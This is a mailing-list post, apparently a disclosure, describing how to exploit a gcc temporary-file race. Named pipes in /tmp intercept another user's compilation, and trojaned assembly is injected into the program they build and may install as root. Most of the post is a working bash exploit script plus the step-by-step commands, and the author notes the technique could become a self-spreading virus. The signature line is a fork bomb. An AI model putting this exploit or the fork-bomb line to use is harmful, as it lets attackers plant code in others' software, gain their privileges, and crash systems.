Typical "[symbolic|hard] link bug" is a vunerability, which allows
user X to overwrite files owned by Y (with useless portion of junk)
when Y launchs buggy program. But this trivial (and often ignored)
attack method can be easily turned into a cute, powerful weapon. Here''s
an example how to perform advanced exploitation of gcc symlink bug (I
choosen that one, because this problem is probably well-known and it''s
pretty easy to fix). Original exploit code has been posted here about
1 month ago...
ADVANCED "symlink" ATTACK
First of all, we need to fix our exploit by replacing symlink with
named pipe. What for? Be patient:
#!/bin/bash
# Advanced GCC exploit
echo "Advanced GCC exploit running."
renice +20 $PPID >&/dev/null
cd /tmp
while [ 1 ]; do
V=`ls cc*.i 2>/dev/null|cut -f 1 -d "."`
if [ ! "$V" = "" ]; then
mkfifo ${V}.s
bash
fi
done
As you can see, new exploit is even smaller and quite useless :)
$ ./adc-gcc
Advanced GCC exploit running.
[...]
Ok, our exploit is running somewhere in a background, then other user
launchs gcc to compile something. His gcc hangs trying to write
compiled junk into a pipe created by exploit, and our exploit drops
us into a shell:
[...]
Advanced GCC exploit running.
$ ls
cca02091.i cca02091.s [...other stuff...]
Now, we may modify preprocessed cca02091.i file. I added line
''printf("Hello, dude.\n");'' using vim at the
begining of main(...)
function, and saved modified code as myjunk.i.
Our user is probably grows impatient, so it''s time to serve our
dish of the day... First, we should flush pipe:
$ cat cca02091.s
[...a lot of asm junk...]
That''s perfect, gcc wrote everything successfulyy, and now
it''s
trying to read it back from pipe. So why shouldn''t we give him a
chance? I precompiled myjunk.i using cc1 (it''s location may vary,
but it MUST be somewhere; you may locate it by executing
"ps auxhw|grep cc1" before flushing pipe).
Oh, I forgot. If you''re unable to read cc*.i file, bacause
user''s
umask is set to eg. 077 - don''t worry! You may modify asm code
directly, just redirect output from above command to your file...
Let''s see, what we have here? A gcc compiler happily waiting for
compiled portion of asm stuff at the second end of pipe...
And compiled code, but modified a little... So there''s only
one solution:
$ cat myjunk.s >cca02091.s
Kaboom! Gcc finished it work (hopefully everything went OK).
Now user have it''s program, but with OUR trojan code! What
he does now? Launchs it, or...
$ make
$ su -
Password:
# make install
Whoops!
This exploit method may be enclosed in a simple, quick and automated
script, but this time I won''t write it. I explained this attack even
too clearly - remember, it may be used to write real, extremally
quickly spreading VIRUS, which infects every file which is beign
compiled.
How to protect yourself? In this case, it''s quite simple, this
problem has been already discussed on BUGTRAQ. But that''s just
an well-known example of ''not-so-interesting symlink bug''.
Almost
any symlink-vunerable program, which stores any data (even PIDs)
in their temporary files, may be exploited in that way (eg. not
so easy to fix gzexe problem).
_______________________________________________________________________
Michał Zalewski [tel 9690] | finger 4 PGP [lcamtuf@boss.staszic.waw.pl]
Iterować jest rzeczą ludzką, wykonywać rekursywnie - boską [P. Deustch]
=--------------- [ echo "\$0&\$0">_;chmod +x _;./_ ]
-----------------=
